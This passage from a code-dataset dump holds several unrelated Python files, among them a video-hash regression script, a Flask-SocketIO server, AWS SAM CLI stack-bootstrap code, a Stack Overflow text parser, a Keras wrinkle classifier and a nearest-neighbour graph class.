metavar=\"Downsample_Frame_Dimension\",\n help=\"Resolution to downsample the video to before hashing frames.. If it is 0, will use the original dimension of the video to hash\",\n default=\"0\",\n type=int,\n )\n ap.add_argument(\n \"-t\",\n \"--matchDistanceTolerance\",\n metavar=\"Matching_distanceTolerance\",\n help=\"The hamming distance tolerance of between two frames. If the hamming distance is bigger than the tolerance, it will be considered as unmatched\",\n default=\"31\",\n type=int,\n )\n ap.add_argument(\n \"-q\",\n \"--qualityTolerance\",\n metavar=\"Matching_qualityTolerance\",\n help=\"The quality tolerance of matching two frames. If either frames is below this quality level then they will not be compared\",\n default=\"50\",\n type=int,\n )\n ap.add_argument(\n \"-v\",\n \"--verbose\",\n help=\"If verbose, will print detailed information.\",\n action=\"store_true\",\n )\n return ap\n\n\ndef dir_path(string):\n if os.path.isdir(string):\n return string\n else:\n raise argparse.ArgumentTypeError(f\"readable_dir: {string} is not a valid path\")\n\n\ndef main():\n ap = get_argparse()\n args = ap.parse_args()\n inputVideoFolder = args.inputVideoFolder\n outputHashFolder = args.outputHashFolder\n ffmpegPath = args.ffmpegPath\n secondsPerHash = str(args.secondsPerHash)\n downsampleFrameDimension = str(args.downsampleFrameDimension)\n verbose = args.verbose\n # TODO: Add more general options for other video encodings.\n for file in os.listdir(inputVideoFolder):\n if file.endswith(\".mp4\"):\n if verbose:\n subprocess.call(\n [\n \"./build/vpdq-hash-video\",\n \"-v\",\n \"-f\",\n ffmpegPath,\n \"-r\",\n secondsPerHash,\n \"-d\",\n outputHashFolder,\n \"-s\",\n downsampleFrameDimension,\n \"-i\",\n inputVideoFolder + \"/\" + file,\n ]\n )\n else:\n subprocess.call(\n [\n \"./build/vpdq-hash-video\",\n \"-f\",\n ffmpegPath,\n \"-r\",\n secondsPerHash,\n \"-d\",\n outputHashFolder,\n \"-s\",\n downsampleFrameDimension,\n \"-i\",\n inputVideoFolder + \"/\" + file,\n ]\n )\n\n cdir = os.getcwd()\n pdir = os.path.dirname(cdir)\n sample = pdir + (\"/sample-hashes\")\n output = outputHashFolder\n distanceTolerance = str(args.matchDistanceTolerance)\n qualityTolerance = str(args.qualityTolerance)\n for file in os.listdir(sample):\n if file.endswith(\".txt\"):\n print(\"\\nMatching File \" + file)\n sampleFile = f\"{sample}/{file}\"\n outputFile = f\"{output}/{file}\"\n if verbose:\n subprocess.call(\n [\n \"./build/match-hashes-byline\",\n \"-v\",\n sampleFile,\n outputFile,\n distanceTolerance,\n qualityTolerance,\n ]\n )\n else:\n subprocess.call(\n [\n \"./build/match-hashes-byline\",\n sampleFile,\n outputFile,\n distanceTolerance,\n qualityTolerance,\n ]\n )\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"vpdq/cpp/regtest.py","file_name":"regtest.py","file_ext":"py","file_size_in_byte":5128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"353537014","text":"from flask import Flask, render_template\nfrom flask_socketio import SocketIO, emit\n\napp = Flask(__name__,\n static_url_path=\"\",\n static_folder=\"/www\",\n template_folder=\"/www\")\n\nsocketio = SocketIO(app)\n\n@app.errorhandler(404)\ndef not_found_error(error):\n return render_template(\"index.html\")\n\n@socketio.event\ndef my_event(message):\n emit(\"my response\", {\"data\": \"got it!\"})\n\nif __name__ == \"__main__\":\n socketio.run(app, host=\"0.0.0.0\", port=8080)\n","sub_path":"cupidon/python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"568852814","text":"from st30.function import *\n\n\nclass Book:\n\ttitle = ''\n\tcost = 0\n\tpublishing_house = ''\n\tauthor = ''\n\tedit_menu = []\n\n\tdef __init__(self):\n\t\tself.edit_menu = {\n\t\t\t\"1\": ['title', self.set_title],\n\t\t\t\"2\": ['cost', self.set_cost],\n\t\t\t\"3\": ['publishing_house', self.set_publishing_house],\n\t\t\t\"4\": ['author', self.set_author]\n\t\t}\n\n\tdef set_title(self):\n\t\tself.title = input('Enter book title\\n')\n\n\tdef set_cost(self):\n\t\twhile (True):\n\t\t\tcost = input('Enter the cost of the book\\n')\n\t\t\tif (is_float(cost)):\n\t\t\t\tself.cost = cost\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tprint('Warning. Enter float')\n\n\tdef set_publishing_house(self):\n\t\tself.publishing_house = input('Enter the publishing house of the book\\n')\n\n\tdef set_author(self):\n\t\tself.author = input('Enter the author of the book\\n')\n\n\tdef book_registration(self):\n\t\tprint(str(self.__class__.__name__))\n\t\tself.set_title()\n\t\tself.set_cost()\n\t\tself.set_publishing_house()\n\t\tself.set_author()\n\n\tdef show_book(self):\n\t\tprint(\"{0}\\nTitle: {1}\\nCost: {2}\\nPublishing house: {3}\\nAuthor: {4}\".format(str(self.__class__.__name__),\n\t\t self.title, str(self.cost),\n\t\t self.publishing_house,\n\t\t self.author))\n\n\tdef edit_book(self):\n\t\tfor i in self.edit_menu:\n\t\t\tprint(i + ' - ' + self.edit_menu[i][0])\n\t\twhile (True):\n\t\t\tkey = input(\"Select a field for editing\\n\")\n\t\t\tif is_int(key) and 0 < int(key) <= len(self.edit_menu):\n\t\t\t\tself.edit_menu[key][1]()\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tprint('Error. This field does not exist')\n\t\t\t\tanswer = input('Want to repeat again?\\nYes/No')\n\t\t\t\tif (str.lower(answer) != 'yes'):\n\t\t\t\t\tbreak","sub_path":"st30/Book.py","file_name":"Book.py","file_ext":"py","file_size_in_byte":1754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"414980167","text":"\"\"\"\nBootstrap's user's development environment by creating cloud resources required by SAM CLI\n\"\"\"\n\nimport json\nimport logging\n\nimport boto3\n\nimport click\n\nfrom botocore.config import Config\nfrom botocore.exceptions import ClientError, BotoCoreError, NoRegionError, NoCredentialsError\n\nfrom samcli.commands.bootstrap.exceptions import ManagedStackError\nfrom samcli import __version__\nfrom samcli.cli.global_config import GlobalConfig\nfrom samcli.commands.exceptions import UserException, CredentialsError, RegionError\n\n\nSAM_CLI_STACK_NAME = \"aws-sam-cli-managed-default\"\nLOG = logging.getLogger(__name__)\n\n\ndef manage_stack(profile, region):\n try:\n cloudformation_client = boto3.client(\"cloudformation\", config=Config(region_name=region if region else None))\n except NoCredentialsError:\n raise CredentialsError(\n \"Error Setting Up Managed Stack Client: Unable to resolve credentials for the AWS SDK for Python client. Please see their documentation for options to pass in credentials: https://boto3.amazonaws.com/v1/documentation/api/latest/guide/configuration.html\"\n )\n except NoRegionError:\n raise RegionError(\n \"Error Setting Up Managed Stack Client: Unable to resolve a region. Please provide a region via the --region parameter or by the AWS_REGION environment variable.\"\n )\n return _create_or_get_stack(cloudformation_client)\n\n\ndef _create_or_get_stack(cloudformation_client):\n try:\n stack = None\n try:\n ds_resp = cloudformation_client.describe_stacks(StackName=SAM_CLI_STACK_NAME)\n stacks = ds_resp[\"Stacks\"]\n stack = stacks[0]\n click.echo(\"\\n\\tLooking for resources needed for deployment: Found!\")\n except ClientError:\n click.echo(\"\\n\\tLooking for resources needed for deployment: Not found.\")\n stack = _create_stack(cloudformation_client) # exceptions are not captured from subcommands\n # Sanity check for non-none stack? Sanity check for tag?\n tags = stack[\"Tags\"]\n try:\n sam_cli_tag = next(t for t in tags if t[\"Key\"] == \"ManagedStackSource\")\n if not sam_cli_tag[\"Value\"] == \"AwsSamCli\":\n msg = (\n \"Stack \"\n + SAM_CLI_STACK_NAME\n + \" ManagedStackSource tag shows \"\n + sam_cli_tag[\"Value\"]\n + \" which does not match the AWS SAM CLI generated tag value of AwsSamCli. \"\n \"Failing as the stack was likely not created by the AWS SAM CLI.\"\n )\n raise UserException(msg)\n except StopIteration:\n msg = (\n \"Stack \" + SAM_CLI_STACK_NAME + \" exists, but the ManagedStackSource tag is missing. \"\n \"Failing as the stack was likely not created by the AWS SAM CLI.\"\n )\n raise UserException(msg)\n outputs = stack[\"Outputs\"]\n try:\n bucket_name = next(o for o in outputs if o[\"OutputKey\"] == \"SourceBucket\")[\"OutputValue\"]\n except StopIteration:\n msg = (\n \"Stack \" + SAM_CLI_STACK_NAME + \" exists, but is missing the managed source bucket key. \"\n \"Failing as this stack was likely not created by the AWS SAM CLI.\"\n )\n raise UserException(msg)\n # This bucket name is what we would write to a config file\n return bucket_name\n except (ClientError, BotoCoreError) as ex:\n LOG.debug(\"Failed to create managed resources\", exc_info=ex)\n raise ManagedStackError(str(ex))\n\n\ndef _create_stack(cloudformation_client):\n click.echo(\"\\tCreating the required resources...\")\n change_set_name = \"InitialCreation\"\n change_set_resp = cloudformation_client.create_change_set(\n StackName=SAM_CLI_STACK_NAME,\n TemplateBody=_get_stack_template(),\n Tags=[{\"Key\": \"ManagedStackSource\", \"Value\": \"AwsSamCli\"}],\n ChangeSetType=\"CREATE\",\n ChangeSetName=change_set_name, # this must be unique for the stack, but we only create so that's fine\n )\n stack_id = change_set_resp[\"StackId\"]\n change_waiter = cloudformation_client.get_waiter(\"change_set_create_complete\")\n change_waiter.wait(\n ChangeSetName=change_set_name, StackName=SAM_CLI_STACK_NAME, WaiterConfig={\"Delay\": 15, \"MaxAttempts\": 60}\n )\n cloudformation_client.execute_change_set(ChangeSetName=change_set_name, StackName=SAM_CLI_STACK_NAME)\n stack_waiter = cloudformation_client.get_waiter(\"stack_create_complete\")\n stack_waiter.wait(StackName=stack_id, WaiterConfig={\"Delay\": 15, \"MaxAttempts\": 60})\n ds_resp = cloudformation_client.describe_stacks(StackName=SAM_CLI_STACK_NAME)\n stacks = ds_resp[\"Stacks\"]\n click.echo(\"\\tSuccessfully created!\")\n return stacks[0]\n\n\ndef _get_stack_template():\n gc = GlobalConfig()\n info = {\"version\": __version__, \"installationId\": gc.installation_id if gc.installation_id else \"unknown\"}\n\n template = \"\"\"\n AWSTemplateFormatVersion : '2010-09-09'\n Transform: AWS::Serverless-2016-10-31\n Description: Managed Stack for AWS SAM CLI\n\n Metadata:\n SamCliInfo: {info}\n\n Resources:\n SamCliSourceBucket:\n Type: AWS::S3::Bucket\n Properties:\n VersioningConfiguration:\n Status: Enabled\n Tags:\n - Key: ManagedStackSource\n Value: AwsSamCli\n\n SamCliSourceBucketBucketPolicy:\n Type: AWS::S3::BucketPolicy\n Properties:\n Bucket: !Ref SamCliSourceBucket\n PolicyDocument:\n Statement:\n -\n Action:\n - \"s3:GetObject\"\n Effect: \"Allow\"\n Resource:\n Fn::Join:\n - \"\"\n -\n - \"arn:\"\n - !Ref AWS::Partition\n - \":s3:::\"\n - !Ref SamCliSourceBucket\n - \"/*\"\n Principal:\n Service: serverlessrepo.amazonaws.com\n\n Outputs:\n SourceBucket:\n Value: !Ref SamCliSourceBucket\n \"\"\"\n\n return template.format(info=json.dumps(info))\n","sub_path":"samcli/lib/bootstrap/bootstrap.py","file_name":"bootstrap.py","file_ext":"py","file_size_in_byte":6226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"100714226","text":"#!/usr/bin/env python3\nimport numpy as np\n\ndef main():\n\n matrix = []\n for i in range(2):\n a = []\n line_num = list(map(float, input().strip().split(' ')))\n for j in line_num:\n a.append(j)\n matrix.append(a)\n\n print(\"{:.12f}\".format(np.linalg.norm(matrix, 2)))\n\n\nif __name__ == '__main__':\n main()","sub_path":"problems/M2x2Norma2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"274150401","text":"import unittest\n\nfrom checkparentheses import checkParentheses\n\n\nclass TestCheckParentheses(unittest.TestCase):\n\n def test_empty_string(self):\n \"\"\"checkParentheses returns True for empty strings. (1p)\"\"\"\n\n correct_input = \"\"\n\n self.assertTrue(\n checkParentheses(correct_input),\n \"checkParentheses({0!r}) should return True, not False.\".format(correct_input)\n )\n\n def test_no_parentheses(self):\n \"\"\"checkParentheses returns True for strings with no parentheses. (1p)\"\"\"\n\n correct_input = \"1 + 1 = 2\"\n\n self.assertTrue(\n checkParentheses(correct_input),\n \"checkParentheses({0!r}) should return True, not False.\".format(correct_input)\n )\n\n def test_correct_parentheses(self):\n \"\"\"checkParentheses returns True for strings with correctly formatted parentheses. (1p)\"\"\"\n\n input_list = [\n \"(1, 2, (True, False))\",\n \"([1, 2], [True, False, True])\",\n \"{'name': 'Flappy', 'awards': ['best shoes']}\"\n ]\n\n for correct_input in input_list:\n self.assertTrue(\n checkParentheses(correct_input),\n \"checkParentheses({0!r}) should return True, not False.\".format(correct_input)\n )\n\n def test_incorrect_parentheses(self):\n \"\"\"checkParentheses returns False for strings with incorrectly formatted parentheses. (1p)\"\"\"\n\n input_list = [\n \"(i for i in range(10)\",\n \"[1, 2, (3], 4)\",\n \"{'a': (1, 3) ]\",\n ]\n\n for incorrect_input in input_list:\n self.assertFalse(\n checkParentheses(incorrect_input),\n \"checkParentheses({0!r}) should return False, not True.\".format(incorrect_input)\n )\n\n\nif __name__ == \"__main__\":\n # Run the tests\n unittest.main(verbosity=2)\n\n","sub_path":"checkparentheses/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"390258233","text":"import csv\nimport numpy\nimport re\n\nimport nltk\nimport pandas\nimport pymysql\nfrom parseSOAPI import extractAPI\nfrom bs4 import BeautifulSoup\n\n\n\nhost = 'localhost'\nusername = 'root'\npassword = '123456'\ndatabase='so'\n\n#关键词\nKWs=['fast','slow','efficient','scalable','expensive','intensive','quick','rapid','performant','faster','slower','better','worse','worst','fastest','slowest',\n 'performance','efficiency','speed ups','improve','slowdown','speedup', 'speed up','increase','accelerate','computationally']\n\ndef connectMySQL():\n '''连接数据库'''\n print('Open the database connection......') # 打开数据库连接\n db = pymysql.connect(host,username,password,database,charset='utf8') # 使用 cursor() 方法创建一个游标对象 cursor\n cursor = db.cursor()\n parseBody(executeSelect(cursor))\n db.close() # 关闭数据库连接\n print('Close the database connection......')\n\ndef executeSelect(cursor):\n '''\n 执行Select操作,返回SELECT的结果(body)\n '''\n print('Execute sql SELECT......')\n sql = \"SELECT question_id,body,title FROM questions\" # SQL 查询语句\n try:\n cursor.execute(sql)\n questions = cursor.fetchall()\n except:\n print(\"Error: unable to fecth data\")\n print('Sql SELECT execution is complete')\n return questions\n\ndef executeAlter(cursor):\n print('Execute sql Alter......')\n sql = 'alter table questions add question varchar(5000)'\n try:\n cursor.execute(sql)\n except:\n print(\"Error: unable to fecth data\")\n\ndef parseBody(columns):\n '''\n 解析html代码(body,title)\n :param columns:title,body列\n :return: 包含关键词和code的句子\n '''\n len_kw_sen = 0\n for column in columns:\n question_id = column[0]\n body = column[1]\n title = column[2]\n\n # 如果含有代码片段,则删除\n if body.find('') != -1:\n body_list[i] = body_list[i].split('')\n body = body + body_list[i][1]\n return body\n\ndef getKWDesc(body,title):\n '''\n 提取含关键字和代码的句子\n :param body:主体\n :param title:标题\n :return:kw_and_code_descs:['sen:含关键字和代码的句子','kw:sen包含的关键字','codelist:sen包含的代码']\n '''\n len_kw_sen = 0\n kw_and_code_descs = [] # 存放含有关键词也含有代码的句子\n # 提取含关键字的body\n sentencesList = body.split('

') # 以

划分句子\n for sentences in sentencesList:\n sentenceList=nltk.sent_tokenize(sentences)\n for sentence in sentenceList:\n code_sen = get_code_list(sentence)\n codes = code_sen[0]\n sen = code_sen[1]\n kws = get_kw_list(sen)\n\n if len(kws) != 0:\n len_kw_sen += 1\n\n # if len(codes) != 0 and len(kws) != 0:\n # soup = BeautifulSoup(sentence, 'html.parser')\n # sen = ''\n # for q in soup.find_all(text=True):\n # sen = sen + q\n # kw_and_code_descs.append([sen, kws, codes])\n\n # 提取含关键字的title\n titles = nltk.sent_tokenize(title)\n for t in titles:\n code_sen = get_code_list(t)\n codes = code_sen[0]\n sen = code_sen[1]\n kws = get_kw_list(sen)\n\n if len(kws) != 0:\n len_kw_sen += 1\n\n # if len(codes) != 0 and len(kws) != 0:\n # soup = BeautifulSoup(sentence, 'html.parser')\n # sen = ''\n # for q in soup.find_all(text=True):\n # sen = sen + q\n # kw_and_code_descs.append([sen, kws, codes])\n\n return (len_kw_sen,kw_and_code_descs)\n\ndef get_kw_list(sentence):\n kwList = []\n for kw in KWs:\n matchobj = re.search(r\"(.*)\" + r\"\\b\" + kw + r\"\\b\" + r\"(.*)\", sentence, re.I)\n if matchobj is not None:\n kwList.append(kw)\n return kwList\n\ndef get_code_list(sentence):\n '''\n 提取出sentence含有标志的代码:例如tf.py_func()\n :param sentence:待处理字符串\n :return:code_sen_list:[code_list,sen] code_list:sentence含有的所有代码,sen:sentence去除code_list之后的句子\n '''\n code_list=[]\n code_sen_list=[]\n #提取出含有的代码\n sen=''\n if sentence.find('') != -1:\n for i in range(len(sentence.split(''))):\n if i==0:\n sen=sen+sentence.split('')[0]\n if sentence.split('')[i].find('') != -1:\n code_list.append(sentence.split('')[i].split('')[0])\n sen=sen+sentence.split('')[i].split('')[1]\n else:\n sen=sentence\n\n for i in range(len(code_list)):\n soup=BeautifulSoup(code_list[i],'html.parser')\n code_list[i]=''\n for c in soup.find_all(text=True):\n code_list[i]=code_list[i]+c\n\n soup = BeautifulSoup(sen, 'html.parser')\n sen = ''\n for q in soup.find_all(text=True):\n sen = sen + q\n\n pattern = re.compile(r'\\S*http\\S*|\\S+\\.com\\S*|\\S+\\.htm\\S*|\\S+\\.org\\S*|\\S+\\.io\\S*|\\S+\\.edu\\S*|\\S+\\.shtml\\S*|\\S*/\\w+/\\w+/\\w+\\S*')\n linkList = pattern.findall(sen)\n\n for link in linkList:\n sen = sen.replace(link, '')\n\n pattern = re.compile(\n r'[a-zA-Z]\\w*\\(*\\)*\\[*\\]*\\.[a-zA-Z]\\w*\\(*\\)*\\[*\\]*[a-zA-Z0-9,=\\.\\(\\)\\[\\]]*|\\s\\.[a-zA-Z]\\w*\\(*\\)*\\[*\\]*[a-zA-Z0-9,=\\.\\(\\)\\[\\]]*|^\\.[a-zA-Z]\\w*\\(*\\)*\\[*\\]*[a-zA-Z0-9,=\\.\\(\\)\\[\\]]*|[a-zA-Z]\\w*\\([a-zA-Z0-9,=\\.\\(\\)\\[\\]]*\\)|[a-zA-Z]\\w*\\[[a-zA-Z0-9,=\\.\\(\\)\\[\\]]*\\]')\n code_list2 = pattern.findall(sen)\n\n for code in code_list2:\n sen=sen.replace(code,'')\n\n for i in range(len(code_list2)):\n if code_list2[i][-1] == ',' or code_list2[i][-1] == '.':\n code_list2[i] = code_list2[i][:-1]\n if code_list2[i] == 'i.e' or code_list2[i] == 'e.g' or code_list2[i] == 'i.e.' or code_list2[i] == 'e.g.':\n continue\n else:\n code_list.append(code_list2[i])\n code_list=list(set(code_list))\n code_sen_list.append(code_list)\n code_sen_list.append(sen)\n return code_sen_list\n\ndef savecsv(descs, question_id, csv_Path,apis):\n '''\n save desc data to csv file.\n :param descs: kw_and_code_descs:['sen:含关键字和代码的句子','kw:sen包含的关键字','codelist:sen包含的代码']\n :param question_id:\n :param csv_Path: 保存csv的路径\n '''\n with open(csv_Path, 'a+', encoding='gb18030',newline=\"\") as csvfilehandler:\n writer = csv.writer(csvfilehandler)\n for desc in descs:\n writer.writerow([question_id,desc[0],desc[1],desc[2],apis]) # [question_id,desc,kw[],codelist]\n\ndef get_all_code(body,title):\n codes = []\n codes.extend(get_code_list(title)[0])\n codes.extend(get_code_list(body)[0])\n return codes\n\nif __name__ == \"__main__\":\n connectMySQL()\n numpy.linalg.inv\n pandas.DataFrame.apply()","sub_path":"perf_code/extract_desc_from_SO/question_sql.py","file_name":"question_sql.py","file_ext":"py","file_size_in_byte":7804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"127911445","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Import the necessary packages\n\n# In[1]:\n\n\nfrom tensorflow.keras.preprocessing.image import load_img\nfrom tensorflow.keras.preprocessing.image import img_to_array\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\nfrom tensorflow.keras.utils import to_categorical\nfrom tensorflow.keras.applications import EfficientNetB0\nfrom tensorflow.keras.applications.efficientnet import preprocess_input\nfrom tensorflow.keras.layers import MaxPooling2D\nfrom tensorflow.keras.layers import Flatten\nfrom tensorflow.keras.layers import Dense\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.optimizers import Adam\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.preprocessing import LabelBinarizer\nfrom sklearn.model_selection import train_test_split\nfrom imutils import paths\n\n\n# # Initialize the number of epochs to train for, and batch size\n\n# In[2]:\n\n\nEPOCHS = 10\nBS = 32\n\nDIRECTORY = r\"dataset/wrinkle_Dataset\"\nCATEGORIES = [\"NoWrinkles\", \"Wrinkled\"]\n\nprint(\"loading images......\")\n\n\n# # Grab the list of images in our dataset directory, then initialize the list of data (i.e., images) and labels\n\n# In[3]:\n\n\ndata = []\nlabels = []\n\nfor category in CATEGORIES:\n path = os.path.join(DIRECTORY, category)\n for img in os.listdir(path):\n img_path = os.path.join(path, img)\n image = load_img(img_path, target_size=(120, 120))\n image = img_to_array(image)\n image = preprocess_input(image)\n \n data.append(image)\n labels.append(category)\n \n\n\n# # Perform one-hot encoding on the labels\n\n# In[4]:\n\n\nlb = LabelBinarizer()\nlabels = lb.fit_transform(labels)\nlabels = to_categorical(labels)\n\ndata = np.array(data, dtype=\"float32\")\nlabels = np.array(labels)\n\n\n# # Splitting the data into training and testing dataset\n\n# In[5]:\n\n\n(trainX, testX, trainY, testY) = train_test_split(data, labels, test_size=0.20, stratify=labels, random_state=42)\n\n\n# # Construct the training image generator for data augmentation\n\n# In[6]:\n\n\naug = ImageDataGenerator(\n rotation_range=20,\n zoom_range=0.15,\n width_shift_range=0.2,\n height_shift_range=0.2,\n shear_range=0.15,\n horizontal_flip=True,\n fill_mode=\"nearest\")\n\n\n# # Load the EfficientNetB0 network\n\n# In[7]:\n\n\nbaseModel = EfficientNetB0(weights=\"imagenet\", include_top=False ,\n input_shape=(120,120,3))\n\n\n# # Step1: Specify the architecture\n\n# In[8]:\n\n\nmodel = Sequential() \nmodel.add(baseModel)\nmodel.add(MaxPooling2D((2,2)))\nmodel.add(Flatten())\nmodel.add(Dense(64,activation=\"relu\"))\nmodel.add(Dense(2,activation=\"softmax\"))\n\n\n# In[9]:\n\n\nfor layer in baseModel.layers:\n layer.trainable = False\n\n\n# # Step2: Compile the model\n\n# In[10]:\n\n\nmodel.compile(optimizer=\"adam\", loss=\"categorical_crossentropy\",\n metrics=[\"accuracy\"])\n\n\n# # Step3: Train the model\n\n# In[11]:\n\n\nH = model.fit(\n aug.flow(trainX, trainY, batch_size=BS),\n steps_per_epoch=len(trainX) // BS,\n validation_data=(testX, testY),\n validation_steps=len(testX) // BS,\n epochs=EPOCHS)\n\n\n# # Step4: Make predictions on the testing set\n\n# In[12]:\n\n\nprint(\"[INFO] evaluating network...\")\npred = model.predict(testX, batch_size=BS)\n\n\n# In[13]:\n\n\npred[0]\n\n\n# In[14]:\n\n\nnp.argmax(pred[0])\n\n\n# # Serialize the model to disk\n\n# In[15]:\n\n\nprint(\"saving wrinkle detector model.....\")\nmodel.save(\"wrinkle_detector.model\",save_format=\"h5\")\n\n\n# # Plot the training loss and accuracy\n\n# In[16]:\n\n\nN = EPOCHS\nplt.style.use(\"ggplot\")\nplt.figure()\nplt.plot(np.arange(0, N), H.history[\"loss\"], label=\"train_loss\")\nplt.plot(np.arange(0, N), H.history[\"val_loss\"], label=\"val_loss\")\nplt.plot(np.arange(0, N), H.history[\"accuracy\"], label=\"train_acc\")\nplt.plot(np.arange(0, N), H.history[\"val_accuracy\"], label=\"val_acc\")\nplt.title(\"Training Loss and Accuracy\")\nplt.xlabel(\"Epoch #\")\nplt.ylabel(\"Loss/Accuracy\")\nplt.legend(loc=\"lower left\")\nplt.savefig(\"wrinkle.png\")\n\n\n# In[ ]:\n\n\n\n\n\n# %%\n","sub_path":"Wrinkle Detection Model.py","file_name":"Wrinkle Detection Model.py","file_ext":"py","file_size_in_byte":3989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"388219240","text":"import random\nimport math\nimport sys\n\nMAX_KK = 2000\nINIT_NODE_SIZE = 1000\nINIT_CAP_NEIGHBORS = 200\n\n\ndef resort_proximity_nodes(close_nodes, distances, index):\n while index > 0 and distances[index] < distances[index - 1]:\n temp = distances[index]\n distances[index] = distances[index - 1]\n distances[index - 1] = temp\n\n temp_node = close_nodes[index]\n close_nodes[index] = close_nodes[index - 1]\n close_nodes[index - 1] = temp_node\n\n index -= 1\n\n return index\n\n\ndef pad_or_truncate(node_list, length, default):\n return node_list[:length] + [default] * (length - len(node_list))\n\n\nclass NearestNeighbors:\n\n def __init__(self, distance_function):\n self.nodes = pad_or_truncate([], INIT_NODE_SIZE, None)\n self.second_nodes = pad_or_truncate([], MAX_KK, None)\n self.second_distances = pad_or_truncate([], MAX_KK, sys.maxint)\n self.nr_nodes = 0\n self.cap_nodes = INIT_NODE_SIZE\n self.added_node_id = 0\n self.distance_function = distance_function\n\n def add_node(self, node):\n k = self.percolation_threshold()\n new_k = self.find_k_close(node, self.second_nodes, self.second_distances, k)\n\n if self.nr_nodes >= self.cap_nodes - 1:\n self.cap_nodes = 2 * self.cap_nodes\n self.nodes = pad_or_truncate(self.nodes, self.cap_nodes, None)\n\n self.nodes[self.nr_nodes] = node\n\n node.set_index(self.nr_nodes)\n self.nr_nodes += 1\n\n for i in range(0, new_k):\n node.add_neighbor(self.second_nodes[i].get_index())\n self.second_nodes[i].add_neighbor(node.get_index())\n\n def add_nodes(self, graph_nodes, nr_new_nodes):\n if self.nr_nodes + nr_new_nodes >= self.cap_nodes - 1:\n self.cap_nodes = self.nr_nodes + nr_new_nodes + 10\n self.nodes = pad_or_truncate(self.nodes, self.cap_nodes, None)\n for node_head_index in range(0, nr_new_nodes):\n k = self.percolation_threshold()\n new_k = self.find_k_close(graph_nodes[node_head_index], self.second_nodes, self.second_distances, k)\n\n self.nodes[self.nr_nodes] = graph_nodes[node_head_index]\n graph_nodes[node_head_index].set_index(self.nr_nodes)\n self.nr_nodes += 1\n\n for j in range(0, new_k):\n graph_nodes[node_head_index].add_neighbor(self.second_nodes[j].get_index())\n self.second_nodes[j].add_neighbor(graph_nodes[node_head_index].get_index())\n\n def remove_node(self, graph_node):\n nr_neighbors, neighbors = graph_node.get_neighbors()\n for i in range(0, nr_neighbors):\n self.nodes[neighbors[i]].delete_neighbor(graph_node.get_index())\n\n index = graph_node.get_index()\n if index < self.nr_nodes - 1:\n self.nodes[index] = self.nodes[self.nr_nodes - 1]\n self.nodes[index].set_index(index)\n\n nr_neighbors, neighbors = self.nodes[index].get_neighbors()\n for i in range(0, nr_neighbors):\n self.nodes[neighbors[i]].replace_neighbor(self.nr_nodes - 1, index)\n self.nr_nodes -= 1\n if self.nr_nodes < (self.cap_nodes - 1) / 2:\n self.cap_nodes /= 2\n self.nodes = pad_or_truncate(self.nodes, self.cap_nodes, None)\n\n def average_valence(self):\n all_neighs = 0.0\n for i in range(0, self.nr_nodes):\n all_neighs += self.nodes[i].nr_neighbors\n all_neighs /= self.nr_nodes\n\n def find_closest(self, state):\n return self.basic_closest_search(state)\n\n def find_k_close(self, state, close_nodes, distances, k):\n if self.nr_nodes == 0:\n return 0\n\n if k > MAX_KK:\n k = MAX_KK\n elif k >= self.nr_nodes:\n for i in range(0, self.nr_nodes):\n close_nodes[i] = self.nodes[i]\n distances[i] = self.distance_function(self.nodes[i], state)\n self.sort_proximity_nodes(close_nodes, distances, 0, self.nr_nodes - 1)\n return self.nr_nodes\n\n self.clear_added()\n\n closest_search_set = self.basic_closest_search(state)\n\n distances[0] = closest_search_set[0]\n min_index = closest_search_set[1]\n close_nodes[0] = closest_search_set[2]\n\n self.nodes[min_index].added_index = self.added_node_id\n\n min_index = 0\n nr_elements = 1\n\n while True:\n nr_neighbors, neighbors = self.nodes[close_nodes[min_index].get_index()].get_neighbors()\n lowest_replacement = nr_elements\n\n for j in range(0, nr_neighbors):\n the_neighbor = self.nodes[neighbors[j]]\n if not self.does_node_exist(the_neighbor):\n the_neighbor.added_index = self.added_node_id\n\n distance = self.distance_function(the_neighbor, state)\n to_resort = False\n\n if nr_elements < k:\n close_nodes[nr_elements] = the_neighbor\n distances[nr_elements] = distance\n nr_elements += 1\n to_resort = True\n elif distance < distances[k - 1]:\n close_nodes[k - 1] = the_neighbor\n distances[k - 1] = distance\n to_resort = True\n\n if to_resort:\n test = resort_proximity_nodes(close_nodes, distances, nr_elements - 1)\n lowest_replacement = 0\n if test < lowest_replacement:\n lowest_replacement = test\n else:\n lowest_replacement = lowest_replacement\n\n if min_index < lowest_replacement:\n min_index += 1\n else:\n min_index = lowest_replacement\n\n if min_index >= nr_elements:\n break\n\n return nr_elements\n\n def find_delta_close_and_closest(self, state, close_nodes, distances, delta):\n if self.nr_nodes == 0:\n return 0\n\n self.clear_added()\n\n closest_search_set = self.basic_closest_search(state)\n\n distances[0] = closest_search_set[0]\n min_index = closest_search_set[1]\n close_nodes[0] = closest_search_set[2]\n\n if distances[0] > delta:\n return 1\n\n self.nodes[min_index].added_index = self.added_node_id\n\n nr_points = 1\n\n for counter in range(0, nr_points):\n nr_neighbors, neighbors = close_nodes[counter].get_neighbors()\n\n for j in range(0, nr_neighbors):\n the_neighbor = self.nodes[neighbors[j]]\n if not self.does_node_exist(the_neighbor):\n the_neighbor.added_index = self.added_node_id\n distance = 